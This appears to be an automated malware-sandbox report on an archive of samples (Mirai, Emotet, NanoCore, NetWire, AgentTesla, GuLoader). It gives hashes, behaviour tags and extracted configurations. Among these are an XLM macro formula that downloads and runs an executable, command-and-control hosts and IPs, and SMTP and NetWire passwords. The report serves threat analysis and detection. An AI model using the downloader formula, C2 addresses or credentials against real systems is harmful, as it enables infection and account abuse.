agenttesla | bd63e92aed3cf6aac582e998084fb08562c9282b74bff27f18453bd302e53337

Resubmissions

16/08/2026, 15:02

260816-sejcvs1ala

10/07/2026, 00:11

260710-agy7zsct5s10

Sharing

Copy URL Twitter E-mail

General

Target
2020-04-13.zip
Size 49.6MB
Sample260710-agy7zsct5s
SHA256 bd63e92aed3cf6aac582e998084fb08562c9282b74bff27f18453bd302e53337
MD5 6d610fe297b80a4e1fbc08b4322aa997
SHA1 05399069fcbf5887c51af25eb60ffa09c0623106
SHA512 ae278b4e65dde003168bb076549ab089c8c82343910a46380cc0e3b4c69b22995521b76b3c7177d745bf4a5106760898092fca86d026225742363fbce156b003
SSDEEP 1572864:e+g0SsD3CPiyxO1iujGNCjOGLCRqv7GbahXtBm:Lg0SW6iGO1ZjGNCj3LSqv7Mf
TLSH
T1C7B7332156AC378ADCA90BB3238CA825C3DE5B8C6C6B733E95B35C4D081C15D5E87DDA
MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family

mirai

Botnet

UNSTABLE

cnc.luxstresser.xyz

Extracted

Family

mirai

Botnet

UNST

Extracted

Family

mirai

Botnet

KYTON

Extracted

Family

mirai

Botnet

KYTON

Extracted

Family

mirai

Botnet

KYTON

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

SORA

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

ARES

Extracted

Family

mirai

Botnet

WICKED

Extracted

Family

mirai

Botnet

SORA

Extracted

Family

mirai

Botnet

SORA

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

SORA

Extracted

Family

mirai

Botnet

MIRAI

Extracted

Rule

Excel 4.0 XLM Macro

https://faog.org.hk/scanner/overwatch.php

Attributes

formulas
=CALL("URLMON","URLDownloadToFileA","JJCCJJ",0,"https://faog.org.hk/scanner/overwatch.php","C:\ProgramData\LHvQGwL.exe",0,0) =CALL("Shell32","ShellExecuteA","JJCCCCJ",0,"Open","A:\ProgramData\LHvQGwL.exe",,0,0) =HALT()

Extracted

Family

mirai

Botnet

KYTON

Extracted

Family

mirai

Botnet

ARES

Extracted

Family

mirai

Botnet

SORA

Extracted

Family

mirai

Botnet

MIRAI

Extracted

Family

oski

hjggvbc.ru

Extracted

Family

mirai

Botnet

MIRAI

Extracted

Family

mirai

Botnet

MIRAI

Extracted

Family

mirai

Botnet

UNSTABLE

Extracted

Family

mirai

Botnet

SORA

Extracted

Family

mirai

Botnet

WICKED

Extracted

Family

mirai

Botnet

ARES

Extracted

Family

mirai

Botnet

MIRAI

Extracted

Family

mirai

Botnet

MIRAI

Extracted

Family

mirai

Botnet

MIRAI

Extracted

Family

nanocore

Version

1.2.2.0

sonspices.ddns.net:4141
127.0.0.1:4141
91.193.75.137:1604
daviscoleman899.ddns.net:1604
gbedu-blast.duckdns.org:54985
127.0.0.1:54985

Mutex

468b6c83-f390-4051-bbea-9ab7e6098d1f

Attributes

activate_away_mode
true
backup_connection_host
127.0.0.1
backup_dns_server
37.235.1.177
buffer_size
65535
build_time
2020-01-07T13:07:02.184014936Z
bypass_user_account_control
true
bypass_user_account_control_data
clear_access_control
true
clear_zone_identifier
false
connect_delay
4000
connection_port
4141
default_group
popcorn
enable_debug_mode
true
gc_threshold
1.048576e+07
keep_alive_timeout
30000
keyboard_logging
false
lan_timeout
2500
max_packet_size
1.048576e+07
mutex
468b6c83-f390-4051-bbea-9ab7e6098d1f
mutex_timeout
5000
prevent_system_sleep
false
primary_connection_host
sonspices.ddns.net
primary_dns_server
37.235.1.174
request_elevation
true
restart_delay
5000
run_delay
0
run_on_startup
false
set_critical_process
true
timeout_interval
5000
use_custom_dns_server
false
version
1.2.2.0
wan_timeout
8000

Extracted

Family

mirai

Botnet

KYTON

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

netwire

automan.duckdns.org:3382

Attributes

activex_autorun
false
copy_executable
true
delete_original
false
host_id
HostId-%Rand%
install_path
%AppData%\Install\Host.exe
keylogger_dir
%AppData%\Logs\
lock_executable
false
mutex
HDPAYslj
offline_keylogger
true
password
onelove82
registry_autorun
true
startup_name
NetWire
use_mutex
true

Extracted

Family

mirai

Botnet

UNSTABLE

Extracted

Family

mirai

Botnet

UNST

Extracted

Family

mirai

Botnet

UNST

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

agenttesla

Credentials

Protocol
smtp
Host
smtp.tunaofiis.com
Port
587
Username
[email protected]
Password
b0k+P#l_8uFt

Extracted

Family

mirai

Botnet

ARES

Extracted

Family

emotet

Botnet

Epoch3

152.231.123.2:80
124.150.175.133:8080
181.225.24.251:80
211.20.154.102:443
80.211.32.88:8080
220.210.163.76:80
51.38.134.203:8080
46.17.6.116:8080
177.144.130.105:443
154.120.227.190:20
87.252.100.28:80
50.63.13.135:8080
91.83.93.103:443
122.116.104.238:8080
203.153.216.178:7080
115.79.195.246:80
190.171.153.139:80
47.153.183.211:80
192.210.217.94:8080
113.160.180.109:80
109.236.109.159:8080
192.241.220.183:8080
82.146.55.23:7080
188.0.135.237:80
14.161.6.60:80
203.153.216.182:7080
81.214.253.80:443
88.247.53.159:443
78.188.170.128:80
190.251.235.239:80
85.100.122.211:80
157.7.164.178:8081
46.32.229.152:8080
188.251.213.180:8080
186.10.92.114:80
198.211.121.27:8080
60.117.26.28:80
42.200.178.117:80
158.69.167.246:8080
81.215.14.128:80
192.163.221.191:8080
60.53.197.6:80
186.80.169.128:80
45.118.136.92:8080
195.201.56.70:8080
183.131.156.10:7080
77.74.78.80:443
177.0.241.28:80
95.180.25.146:80
113.161.148.81:80
185.142.236.163:443
75.127.14.170:8080
81.214.142.115:80
50.116.78.109:8080
72.10.33.195:8080
42.51.192.231:8080
110.37.226.196:80
102.22.62.71:80
45.55.179.121:8080
172.104.70.207:8080
103.205.177.228:443
162.144.46.90:8080
144.139.91.187:80
68.183.18.169:8080
220.213.79.166:443
37.70.131.107:80
117.2.133.44:443
220.128.125.18:80
37.208.106.146:8080
201.214.229.79:80
217.12.70.226:80
82.165.15.188:8080
220.132.16.114:80
154.73.137.131:80
163.172.107.70:8080
154.120.227.190:443
105.209.235.113:8080
139.59.12.63:8080
31.146.61.34:80
41.185.29.128:8080
188.251.213.180:443
37.46.129.215:8080

rsa_pubkey.plain

Extracted

Family

guloader

https://onedrive.live.com/download?cid=2F947402293C14C1&resid=2F947402293C14C1%21118&authkey=ACrL2Iiem-ZJer8

xor.base64

Extracted

Family

mirai

Botnet

WICKED

Extracted

Family

mirai

Botnet

UNST

Targets

- Target
  00642ee9395faeeaed5eb9b478fa246733428bc435203f387debb7d579e83681.sh
- Size 100B
- SHA256 00642ee9395faeeaed5eb9b478fa246733428bc435203f387debb7d579e83681
- MD5 f6dfae3096420c344479a9ff55a6d325
- SHA1 5b850f8a6cf1c78fcb949879b6a964ebfbd0f6c7
- SHA512 3ac00b5723be6f407a41b12dd75198237da7b8a6cfc0a434efb77f7a8aff8a79b05b8fe526660ce2a4bc4766548f205627326a425a5a0595830874f904a7e2e7
- TLSH
  T16CB0124E33312F003B018F4D3FF24430D004C0C5511B028DD0FC041D518C53D322010D
- MD5 SHA1 SHA512 TLSH
Score

3^/10
behavioral1 behavioral2
- Target
  00e6ce514b6a6eacf47d57643900966e3687a3d1afe5b6b67199bc293711bcf1.elf
- Size 58KB
- SHA256 00e6ce514b6a6eacf47d57643900966e3687a3d1afe5b6b67199bc293711bcf1
- MD5 4160fbd1946ace0af9eaef5dc0527b7c
- SHA1 10288afc348242f8559866e76efa58e95c926297
- SHA512 1ffadd8091f9f487e6d1a96eba482c1d6cac264a83137b637858769b727315540eec090c414aefcb7ca0e7d89b0a0f0138fa42275e129f91063e684699655045
- SSDEEP 768:ExFiXte+zRx69lc5G5/1GHv85GJGC5y33tkUzInqy8PktEw:V026PT/1GocGCNUzbLIEw
- TLSH
  T1D9433A376581CABFC0D357F517D795208133B8391F636245B3E8BCAA3B229D82E5830A
- MD5 SHA1 SHA512 SSDEEP TLSH
Score

1^/10
behavioral3
- Target
  02419de92a33a88bc17701008182ca9f7ea8d4645311b837b98738acdea83254.sh
- Size 100B
- SHA256 02419de92a33a88bc17701008182ca9f7ea8d4645311b837b98738acdea83254
- MD5 83ac08216d56725718ed7f0b4d5606d2
- SHA1 cc485809238308e567265b5551a5dd691abc8683
- SHA512 17530849ce32192732302e833b6ea2226cf75918bdf25797b997fb537ba8660e465c0c500309d4eacbe42076b33b197c25bceefa3ff4d9c20fd02a5e6d830bb1
- TLSH
  T17EB0124E73622F0033018F0C37F18430D000C1C4911B428DD4FC042D60CC97D322011D
- MD5 SHA1 SHA512 TLSH
Score

3^/10
behavioral4 behavioral5
- Target
  028513bf1f9b90dcc092a12673654008279499db375b488a65059558594b4e6c.elf
- Size 33KB
- SHA256 028513bf1f9b90dcc092a12673654008279499db375b488a65059558594b4e6c
- MD5 2f33113750f32fca3a3025759143d9da
- SHA1 7816a8f52fa4708bb09ae04045b274367981ae52
- SHA512 06ab202276b2b12b6ee0b6dfae780b054274e733189e2dcc1b6bf13e09c186e953f5d850d1697c91554db1e608ea68e58b0c50dfd879f733b41d21b30804b713
- SSDEEP 768:Cb+GsIbn0XpiTAPB4bT9bOs26GIa+UqaX7f9q3UELQZ:Cb+GsLidbT4s26dVUqaaLA
- TLSH
  T1AFF2E163655ACD61CFF0313AE6D17201BFA85E7CC26478B211915B14BBCFD8F65A018B
- MD5 SHA1 SHA512 SSDEEP TLSH
Score

10^/10

botnet unst discovery mirai
- Family: Mirai
  Mirai is a prevalent Linux malware infecting exposed network devices.
  botnet mirai
behavioral6
- Target
  02d8d681b6fe63c456157e7ba3134c68ddf93288cea682a36e1e7844e7ea0dd3.elf
- Size 71KB
- SHA256 02d8d681b6fe63c456157e7ba3134c68ddf93288cea682a36e1e7844e7ea0dd3
- MD5 5241d80a371660fa437b1ae41355f7e2
- SHA1 c9f5eb07287524c17046422b3f2f4a26f1345a59
- SHA512 1904e3b1472386b83a284558ecd66ecc574aaa43ff298b11bb0b3af0b01534c031b18beab7b9f857fb26f41de0ce1e44b5aecd719c4ef2d354d86e609270aef4
- SSDEEP 1536:Q7yyalaIn0EWvFrSdN5gBlWr/eYYtcGAeDUZUz+gOI0px+FyX8kT/w:Q7Y0XvFWdN5gBGefcTWBS+kS
- TLSH
  T1E7635CD6B8009E7CF95BDABA81264E09F92132005F930F2BE637FC976D720959D1BC46
- MD5 SHA1 SHA512 SSDEEP TLSH
Score

1^/10
behavioral10 behavioral7 behavioral8 behavioral9
- Target
  031ad824f948a341ee081dbd595d9c1c4b75253869b31add00d85ecc39235438.elf
- Size 64KB
- SHA256 031ad824f948a341ee081dbd595d9c1c4b75253869b31add00d85ecc39235438
- MD5 d51c9318e7b8e1f9ecd803ffea3d2425
- SHA1 2c33158db709ee113996c1a1416c20ac98a7cbce
- SHA512 406811072566c4da3c64e15f96aaefc2bf1c1c393d2b373f3614daf41bbbced349996614f3a374c54f2f8ba75fffd281b89ee7906a975dfa00288a00f63adf65
- SSDEEP 1536:j0aRfwJ/mebn9ykMBx7l88g1pTGtF5LR5kSF/zlqs178V:jk91y8xpqXlR5Vqyy
- TLSH
  T1FF534CD9B4119E7CF9CBEABE88224E0DF821221154931B27BA6BFD937D32194DC52D06
- MD5 SHA1 SHA512 SSDEEP TLSH
Score

1^/10
behavioral11 behavioral12 behavioral13 behavioral14
- Target
  037c9cd615c93b6e899cfcec0211f8a8c527651de83f6f8ea93830c005255098.exe
- Size 348KB
- SHA256 037c9cd615c93b6e899cfcec0211f8a8c527651de83f6f8ea93830c005255098
- MD5 cc1ce05c6d7a05e25a8c3419ad1731da
- SHA1 dc9253d3154c8644bc337930bc5249b8aa6f0573
- SHA512 1a6b2d9fdf515777543eac32fb739ef445e7ddbc318905596c8c4e6daeac4fe9b75c4fa1323a77e1219bdccd62a2f4ca00cab1ddd69b478725fd5042f8a4474b
- SSDEEP 6144:8bVO1cG/3mdn5NPUeYtjCJ2GnXGOr709nahdedHM:yn5NPUjtjAGOrQ3O
- TLSH
  T15E74AE2273E1C476D56312335E53C769A7BABC519E318387BBD03B0EEE306828A35761
- MD5 SHA1 SHA512 SSDEEP TLSH
Score

10^/10

banker epoch3 discovery emotet trojan
- Family: Emotet
  Emotet is a trojan that is primarily spread through spam emails.
  trojan banker emotet
behavioral15 behavioral16
- Target
  043ba161ac2f0d30c5a15799d3ce26ec63989d278f58867aeff64ce7ecb41f42.exe
- Size 108KB
- SHA256 043ba161ac2f0d30c5a15799d3ce26ec63989d278f58867aeff64ce7ecb41f42
- MD5 f234e092bc257cafdf2c1b8521709c61
- SHA1 6df20702e0b6be0a7ac0c41ad0e1021304e51e1d
- SHA512 656fb6a27757df6272cac7b15bb6ed96f708dc33b50a8bfc6fcb3c8a577390909ad7684a51faed6e238be09e40ddedc9f1ac2b100871cc1a9c8e52b479026df1
- SSDEEP 768:7/msw2gQIiSqxCG6nn+6EzS07Qh/H+KqR1lz5x+hwA2ztAGVIBfeSyVNE:fvgQIiSOq1h/H+KnqAGOGVIBfeS3
- TLSH
  T11CB30651B088FD94C82A8BB21DF2C76C9940BD308D05364B7AC93F5F3A761E4B656F86
- MD5 SHA1 SHA512 SSDEEP TLSH
Score

10^/10

discovery downloader guloader
- Family: Guloader,Cloudeye
  A shellcode based downloader first seen in 2020.
  downloader guloader
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
behavioral17 behavioral18
- Target
  044e98d02d834f93ab369ccd003fa54d05c5acc50d96d3af0f74b2572e3ee6e4.elf
- Size 103KB
- SHA256 044e98d02d834f93ab369ccd003fa54d05c5acc50d96d3af0f74b2572e3ee6e4
- MD5 ffbf1c65e8dcf7d7069b5fa0f550569f
- SHA1 b5a353b31d058325839643d935e1b9ef31b2a740
- SHA512 39249886b7ef3f659bae358dc25ff64768c3ed0db81151f2ab08923626cd6a9d75fd54624da8a89a72a7e4f0fd694663905c43030dc723d6c8d260062dbb98e1
- SSDEEP 1536:gRaFylGpgQCpIgBNoMTgDLq9KTtKze76WiUQ9K5hkOyu:NdgPpIP5DLq9KTtKtUOK5hkOV
- TLSH
  T10FA3D51E7E219FBEF6ACC23447B35E20965933D627E195C4D2ACE9005F6028E641FBE4
- MD5 SHA1 SHA512 SSDEEP TLSH
Score

1^/10
behavioral19
- Target
  04a64eced8ff39e4a015b5b56f49a4219db9fffd449617ff5bef99c5f26864c1.elf
- Size 69KB
- SHA256 04a64eced8ff39e4a015b5b56f49a4219db9fffd449617ff5bef99c5f26864c1
- MD5 c9ae9171800cd3ff25de03fc8891a4f3
- SHA1 8336eff47289261f2735708a5a300144a7cb6242
- SHA512 2b3b80e276ea4cb6cd7e20a597359dd850502acecce5e25c1bcf52575ede9f058c56d3905eb01ee4f49aa3a8e0fc9288dbbc5f2d48ff76c7b80a91163911d877
- SSDEEP 1536:1wChI2GW36fQT/eXUgcDLMFxApkWBbSjqsod7S4qm25hx/c:CCi2GWKfQTUUZ8F2aWBqrT4Q5hxU
- TLSH
  T19C635B86E983E4B5E8110079207B6B32DF33E67A647AE99AD39C6937DC12501D317BCC
- MD5 SHA1 SHA512 SSDEEP TLSH
Score

9^/10

defense_evasion discovery
- Contacts a large (115441) amount of remote hosts
  This may indicate a network scan to discover remotely running services.
  discovery
- Creates a large amount of network flows
  This may indicate a network scan to discover remotely running services.
  discovery
- Modifies Watchdog functionality
  Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
  defense_evasion
- Enumerates active TCP sockets
  Gets active TCP sockets from /proc virtual filesystem.
  discovery
- Writes file to system bin folder
behavioral20
- Target
  064056b8cbc62bce93ebd280b6ea7d244cf180129827b6d5a7d7387661cb66bf.elf
- Size 90KB
- SHA256 064056b8cbc62bce93ebd280b6ea7d244cf180129827b6d5a7d7387661cb66bf
- MD5 ad13e44820c74d8d33aadf61832ae0e7
- SHA1 4287bfdab079348dfeea5bea2c3fe7308e9b6c5d
- SHA512 69097a445ae5fafe07b34e306e6b2eb29e6ff5f21a36ab06f655a18c84932b5e8d72c92a1cc39cdf242adcd366e3cc1e1f8882e21b9acc5b08a78c2ed11d7783
- SSDEEP 1536:HPnoI5j0T4fWX9UjpQfLc1HXrjwY4B0VaJBcxIwiKsFRFaN15qL50qPAYd5hJ:AQ0T4fWX9Ujp91HX/1VaIsFRFaNLUV4Q
- TLSH
  T17E931996F840AB11C6C15677FE0F114E33174B7CE2DE33129E285B647B8796B0E3AA49
- MD5 SHA1 SHA512 SSDEEP TLSH
Score

1^/10
behavioral21
- Target
  07f57cef37c1139d45a65ccfef264b074f8f8663bc7b1d7a3a55169060e1e8cc.elf
- Size 103KB
- SHA256 07f57cef37c1139d45a65ccfef264b074f8f8663bc7b1d7a3a55169060e1e8cc
- MD5 775182afaabe1f714827f7f77b02ca74
- SHA1 fc4175d8a21d9db1e3a16297bad2d8cd3bcea0ea
- SHA512 500645448ce94ba7ad3b8d931851cc04f4cf7fe8b38a588e2b3a241074e56add9c80747b7a9a778d85b9e582804725e0b51ccc01181a5f811f8b7b8688335d09
- SSDEEP 1536:gRyFylGpgQCpIgBNoMTgDLq9KTtKze76WiUQ9K5hkOyu:FdgPpIP5DLq9KTtKtUOK5hkOV
- TLSH
  T1F3A3D51E7E219FBEF6ACC23447B35E20965933D627E195C4D2ACE9005F6028E641FBE4
- MD5 SHA1 SHA512 SSDEEP TLSH
Score

1^/10
behavioral22
- Target
  0844fbc7545ecfc8d8ccdfd1fda47bcb6d84e6cf69e7f76d0760c5023d6b5253.elf
- Size 89KB
- SHA256 0844fbc7545ecfc8d8ccdfd1fda47bcb6d84e6cf69e7f76d0760c5023d6b5253
- MD5 8f0d7742926591aa5dbaca1dd15f4e73
- SHA1 9fae34bc71c638eb77c3698405e5a98b69c3d441
- SHA512 4ba4d15c43d7896da87f56894ea88ed0d959c2dfd8ce4a1996d1c3e281c5175c7b0f6eca59e45d14413f9034d3a5826d6646076f31e82f7ba4f43755f6866c15
- SSDEEP 1536:zUYsxrXP40ODyPwHRQ9PlzTRfyToNoZq0i:zLsxrKDy46NZ
- TLSH
  T1F493800AAF611FF7E89EDC374AD92B0524DD511A20AD7B39B930D818F25B30F19E3865
- MD5 SHA1 SHA512 SSDEEP TLSH
Score

9^/10

defense_evasion discovery
- Contacts a large (20442) amount of remote hosts
  This may indicate a network scan to discover remotely running services.
  discovery
- Creates a large amount of network flows
  This may indicate a network scan to discover remotely running services.
  discovery
- Modifies Watchdog functionality
  Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
  defense_evasion
- Enumerates active TCP sockets
  Gets active TCP sockets from /proc virtual filesystem.
  discovery
- Enumerates running processes
  Discovers information about currently running processes on the system
behavioral23
- Target
  0893f9723f73d9a7e8a9d29019bd57529eea984b5086749bd06f59f688dd3886.elf
- Size 54KB
- SHA256 0893f9723f73d9a7e8a9d29019bd57529eea984b5086749bd06f59f688dd3886
- MD5 64dd90d35ff680764fa72a869c108a20
- SHA1 3207d33190c7b0a07f36462c953058b24abb4b96
- SHA512 1c7f65148b5f2c63d5a80446599692eadf142fd557537a23635187b7b1c23f2c18dd0e808dab5cb98e0d0e852f54dab1974d28f1b3cd5f56b89017d65daf27c8
- SSDEEP 768:wupCpW9b31fY7myxJb3RDLOcBD1qvfi6R79zyBH2Oqhikz0U2VnLosX21KNIY1/T:2Kb31fY7hLp5dERphilUErX1NI471WIV
- TLSH
  T1BB435B03722C0A47D5A21EB0293F0BE093BFEE9025E1F685694FDA464672F331486F9D
- MD5 SHA1 SHA512 SSDEEP TLSH
Score

1^/10
behavioral24 behavioral25 behavioral26 behavioral27
- Target
  08e738420f86d397f4011e1a93c4b8fe999481eaea038e28aeda1641ca14be86.elf
- Size 53KB
- SHA256 08e738420f86d397f4011e1a93c4b8fe999481eaea038e28aeda1641ca14be86
- MD5 2857675f7f4ad80624fc890fb897ec5e
- SHA1 fde5056396a7af7a4ac4458cabe0ddac8e37f07b
- SHA512 616040940f66807ca2c18ee4610b8872f515e30f666114f0aecfc1f7e09bfb507e93e796bc8fb2b0a455ed9db4dee4a54c8950430fe6b2f6a9095c0e644bfaae
- SSDEEP 768:mouzJseSM/5DX9OSyA3TpK2h7JJOUR0DCGeWxyyVBXtM7edUo+f1prwGkMQexba:moqa1MhNOSX3TpKV/eR7edJg1pkDF
- TLSH
  T17C332ACD68121E2CE6D358FD50729F0E9E552211A0A3070FA7ABFEC33D33269EE55588
- MD5 SHA1 SHA512 SSDEEP TLSH
Score

1^/10
behavioral28 behavioral29 behavioral30 behavioral31
- Target
  0a47b4cd2681190075d78ace572ef2157855c93297a6e96a5c67cbcce87fc3c9.elf
- Size 53KB
- SHA256 0a47b4cd2681190075d78ace572ef2157855c93297a6e96a5c67cbcce87fc3c9
- MD5 a8363d88468ffc14684b6289c2c1d3fe
- SHA1 398d7dd516ecfe1d998fb155b4f7ebdddcd6e056
- SHA512 e0fe9f9012717edc6dc695a2ab0986e05552c03cf31cf32f400d0c3197540750637f232c0f835ad021620133198b48d69f163f022cd749ee42494cb3bcf597d5
- SSDEEP 1536:XXRb3OFCPfVKVpRrpflNwV902BTRT9r1m6u:xb3DcRrpflNwVRvnO
- TLSH
  T11F3301D05398C7B643F93AB254398543E3CD16D5D8DA122D73A4C3BEBA11043EAF64AA
- MD5 SHA1 SHA512 SSDEEP TLSH
Score

10^/10

botnet wicked discovery mirai
- Family: Mirai
  Mirai is a prevalent Linux malware infecting exposed network devices.
  botnet mirai
behavioral32

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Impair Defenses

T1562

Credential Access

Discovery

Network Service Discovery

T1046

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Tasks

Resubmissions

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Extracted

Extracted

Extracted

Extracted

Extracted

Extracted

Extracted

Extracted

Extracted

Extracted

Extracted

Extracted

Extracted

Extracted

Extracted

Extracted

Extracted

Extracted

Extracted

Extracted

Extracted

Extracted

Extracted

Extracted

Extracted

Extracted

Extracted

Extracted

Extracted

Extracted

Extracted

Extracted

Extracted

Extracted

Extracted

Extracted

Extracted

Extracted

Extracted

Extracted

Extracted

Extracted

Extracted

Targets

Family: Mirai

Family: Emotet

Family: Guloader,Cloudeye

Suspicious use of NtSetInformationThreadHideFromDebugger

Suspicious use of SetThreadContext

Contacts a large (115441) amount of remote hosts

Creates a large amount of network flows

Modifies Watchdog functionality

Enumerates active TCP sockets

Writes file to system bin folder

Contacts a large (20442) amount of remote hosts

Creates a large amount of network flows

Modifies Watchdog functionality

Enumerates active TCP sockets

Enumerates running processes

Family: Mirai

MITRE ATT&CK Enterprise v16

Tasks

static1

behavioral1

behavioral2

behavioral3

behavioral4

behavioral5

behavioral6

behavioral7

behavioral8

behavioral9

behavioral10